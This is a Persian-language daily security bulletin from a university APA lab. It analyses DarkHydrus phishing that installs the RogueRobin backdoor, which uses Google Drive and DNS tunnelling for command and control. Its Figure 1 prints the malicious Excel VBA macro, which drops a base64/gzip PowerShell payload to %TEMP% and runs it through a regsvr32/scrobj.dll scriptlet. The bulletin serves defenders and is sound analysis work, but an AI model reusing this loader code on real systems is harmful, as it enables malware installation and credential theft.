آزمایشگاه تخصصی آپا، قزوین

دانشگاه بین المللی امام خمینی (ره)

خبرنامه تحلیلی رویدادهای امنیتی (روزانه)

دوشنبه هشتم بهمن ماه ۱۳۹۷

سوءاستفاده بدافزار[1] جدید از گوگل‌درایو[2]

نسخه ۱,۰,۰

نویسنده: نغمه محمدی **سردبیر:** محمد پیشدار

[1] Malware is any software intentionally designed to cause damage to a computer, server, client, or computer network.

[2] Google Drive is a file storage and synchronization service developed by Google. Launched on April 24, 2012, Google Drive allows users to store files on their servers, synchronize files across devices, and share files.

کشف بدافزار جدیدی که از گوگل‌دِرایو به عنوان خدمت‌گذار فرمان و کنترل[1] استفاده می‌کند

تاریخ: ۲۷ / ژانویه / ۲۰۱۹

بررسی اجمالی :

اخیرا محققان حوزه امنیت سایبری نوعی حمله بدافزاری جدید با ردپای گروه دارک‌هایدرِس اِی.پی.تی[2] را شناسایی کرده‌اند. این بدافزار با استفاده از گوگل‌دِرایو به عنوان سرور فرمان و کنترل به فریب قربانیان خود جهت مشاهده یک سند اِکسِل آلوده ماکروسافت آفیس[3] می‌پردازد. محققان هدف حمله مذکور را سرقت اعتبارنامه‌های چهره‌های سیاسی بخصوص در خاورمیانه عنوان کرده‌اند [۱و۲].

سیستم‌های آسیب‌پذیر [۱] :

- رایانه‌های متصل به شبکه

شدت خطر :

در دولت

- سازمان‌های بزرگ و متوسط در دولت : **بالا**
- سازمان‌های کوچک دولتی : **بالا**

[1] A command and control server (C&C server) is a computer that issues directives to digital devices that have been infected with rootkits or other types of malware, such as ransomware.
[2] The DarkHydrus advanced persistent threat (APT) group- an advanced persistent threat is a stealthy computer network attack in which a person or group gains unauthorized access to a network and remains undetected for an extended period.
[3] Microsoft Excel is a spreadsheet developed by Microsoft for Windows, macOS, Android and iOS. It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications.

در تجارت

- سازمان های تجاری بزرگ و متوسط : **بالا**
- سازمان‌های کوچک تجاری : **بالا**
- کاربران خانگی : **بالا**

راه‌های نفوذ:

- مهندسی اجتماعی و پست‌الکترونیکی فیشینگ[۱]

اهداف:

- بدست آوردن اعتبارنامه قربانیان

توضیحات فنی :

به گفته محققان در این حملات از پست‌های الکترونیکی فیشینگ ارسالی به زبان عربی علیه نهادهای دولتی و موسسات آموزشی خاورمیانه استفاده شده است. پیام‌هایی که غالبا دارای اسناد اِکسِل ماکرو–فعال[۲] با پسوند .ایکس.اِل.اِس.اِم[۳] جهت استخراج اعتبارنامه قربانیان بوده‌اند [۱،۲،۳].

در گزارشی از شرکت ۳۶۰.تی.آی.سی[۴] و پالوآلتو[۵]، در رابطه با این بدافزار صحبت از تروجان درِ پشتی[۶] جدیدی به نام روگورابین[۷] شده است. این تروجان قربانی را برای مشاهده یک سند اِکسِل ماکروسافت حاوی «وی.بی.اِی ماکرو»[۱] مخرب

[1] Phishing is the fraudulent attempt to obtain sensitive information such as usernames, passwords and credit card details by disguising as a trustworthy entity in an electronic communication.
[2] Macro-enabled Excel documents- Macro enabled is a normal excel document (xls/xlsx) that allows you to record redundant tasks as macros and then run them in your excel workbooks.
[3] A file with the XLSX file extension is a Microsoft Excel Open XML Format Spreadsheet file.
[4] 360 Threat Intelligence Center(360TIC), a research division of 360 Enterprise Security Group, focus on malware, APT and threat intelligence.
[5] Palo Alto Networks, Inc. is an American multinational cybersecurity company with headquarters in Santa Clara, California. Its core products are a platform that includes advanced firewalls and cloud-based offerings that extend those firewalls to cover other aspects of security. Wikipedia
[6] A backdoor is a malware type that negates normal authentication procedures to access a system. As a result, remote access is granted to resources within an application, such as databases and file servers, giving perpetrators the ability to remotely issue system commands and update malware.
[7] RogueRobin is a complete and utter menace. It is a versatile virus that has many functions. It is a spying device that can steal personal and financial information. It is also more than capable of corrupting your data and downloading additional malware.

ترغیب می‌کند. پس از فعال‌سازی ماکرو یک فایل متنی با پسوند .تی.ایکس.تی[۲] در دایرکتوری موقت سیستم‌عامل ایجاد شده که از برنامه قانونی«رِگس.وی.آر.۳۲.ای.ایکس»[۳] برای فرآیند اجرا استفاده می‌کند. با این کار در نهایت درِ پشتی روگورابین– نوشته شده به زبان سی.شارپ[۴]– بر روی سیستم آسیب‌دیده نصب می‌گردد (شکل ۱)[۱].

```
str = str + "3ckikO5M+Yp7JWS2o618c3DDe38D1pWygmsmoebhzWV1XxfvOqshKQv3mVo9RbxH99/n/8zMrf5H998382I//1+c/4/F+4Yla1AHo"
str = str + "AAA==";$byteArray = [System.Convert]::FromBase64String($content);$input = New-Object System.IO.Memory"
str = str + "Stream( ,$byteArray );$output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO."
str = str + "Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress);$gzipStream.CopyTo( $ou"
str = str + "tput );$gzipStream.Close();$input.Close();[byte[]] $byteOutArray = $output.ToArray();[System.IO.File]"
str = str + "::WriteAllBytes(""$env:TEMP\OfficeUpdateService.exe"",$byteOutArray);iex ""$env:TEMP\OfficeUpdateService"
str = str + ".exe"";"

    Set Oshell = CreateObject("WScript.Shell")
    temp_dir = Oshell.ExpandEnvironmentStrings("%TEMP%")
    ps_file_dir = temp_dir + "\WINDOWSTEMP.ps1"

    Set objFileToWrite = CreateObject("Scripting.FileSystemObject").OpenTextFile(ps_file_dir, 2, True)
    objFileToWrite.WriteLine (str)
    objFileToWrite.Close
    Set objFileToWrite = Nothing
    Dim powershell_command As String
    powershell_command = "powershell.exe -noexit -exec bypass -File " + ps_file_dir
    powershell_command = Replace(powershell_command, "\", "\\")
    Dim sct_file As String
    sct_file = "<?XML version=""1.0""?>" + vbCrLf
    sct_file = sct_file + "<scriptlet>" + vbCrLf
    sct_file = sct_file + "<registration" + vbCrLf
    sct_file = sct_file + "progid = ""PoC""" + vbCrLf
    sct_file = sct_file + "classid=""{F0001111-0000-0000-0000-0000FEEDACDC}"" >" + vbCrLf
    sct_file = sct_file + "<script language=""JScript"">" + vbCrLf
    sct_file = sct_file + "<![CDATA[ var r = new ActiveXObject(""WScript.Shell"").Run(""" + powershell_command + """,0,true); ]]>" +
    sct_file = sct_file + "</script>" + vbCrLf
    sct_file = sct_file + "</registration>" + vbCrLf
    sct_file = sct_file + "</scriptlet>" + vbCrLf
    Dim sct_file_path As String
    sct_file_path = temp_dir + "\12-B-366.txt"
    Set objFileToWrite = CreateObject("Scripting.FileSystemObject").OpenTextFile(sct_file_path, 2, True)
    objFileToWrite.WriteLine (sct_file)
    objFileToWrite.Close
    Set objFileToWrite = Nothing

    'sct_file_path = Replace(sct_file_path, "\", "\\")
    Dim final_command As String
    final_command = "regsvr32.exe /s /n /u /i:" + sct_file_path + " scrobj.dll"
    Call Shell(final_command, vbHide)

End Sub
Private Sub Workbook_Open()

New_Macro
```

شکل ۱: فعال شدن ماکرو در ماکروسافت آفیس [۱]

[1] VBA (Visual Basic for Applications) is the programming language of Excel and other Office programs. 1 Create a Macro: With Excel VBA you can automate tasks in Excel by writing so called macros.

[2] A TXT file(.txt) is a standard text document that contains unformatted text.

[3] Regsvr32.exe

[4] C# is a general-purpose, multi-paradigm programming language encompassing strong typing, imperative, declarative, functional, generic, object-oriented, and component-oriented programming disciplines. It was developed around 2000 by Microsoft within its .NET initiative and later approved as a standard by Ecma and ISO.

به گفته محققان پالوآلتو، روگورابین شامل توابع پنهانی بسیاری برای بررسی و نظارت موارد زیر می‌باشد [۱و۲]:

- اجرا یا عدم اجرا در محیط سَندباکس[۱]
- محیط‌های مجازی
- حافظه کم
- تعداد پردازنده
- ابزارهای تجزیه و تحلیل در حال اجرا بر روی سیستم
- کُد ضد اشکال‌زدایی

نوع جدید روگورابین نیز مانند نسخه اصلی از تونل‌زنی دی.اِن.اِس [۲]—برای ارسال و بازیابی اطلاعات (بسته‌های پرس‌وجو دی.اِن.اِس) جهت برقراری ارتباط با سرور فرمان و کنترل استفاده می‌کند. این بدافزار همچنین از رابط‌های برنامه‌نویسی کاربردی گوگل درایو به عنوان جایگزینی برای ارسال و دریافت اطلاعات استفاده می‌کند [۱].

محققان پالوآلتو در این ارتباط می‌گویند [۱]:

" روگورابین پس از بارگذاری یک فایل در حساب گوگل دِرایو به طور مداوم «زمان اصلاح» فایل را جهت شناسایی سریع تغییرات بررسی می‌کند. "

تحلیل این بدافزار جدید نشان‌دهنده تمایل گروه نفوذ اِی.پی.تی به سوءاستفاده از خدمات قانونی برای جلوگیری از تشخیص سرور فرمان و کنترل در حملات است [۱].

پیشنهادات [۲]:

- احتیاط نسبت به پست‌های الکترونیکی دریافتی از منابع ناشناس
- عدم کلیک بر روی پیوندهای موجود در پست الکترونیکی دریافتی از منابع ناشناس

[1] In computer security, a "sandbox" is a security mechanism for separating running programs, usually in an effort to mitigate system failures or software vulnerabilities from spreading.
[2] DNS Tunneling is a method of cyber attack that encodes the data of other programs or protocols in DNS queries and responses. DNS tunneling often includes data payloads that can be added to an attacked DNS server and used to control a remote server and applications.

منابع :

1. TheHackerNews Website
   https://thehackernews.com/2019/01/macro-malware-microsoft-office.html?m=1
2. HackRead Website
   https://www.hackread.com/darkhydrus-phishery-tool-malware-google-drive/
3. ThreatPost Website
   https://threatpost.com/roguerobin-google-drive-c2/141079/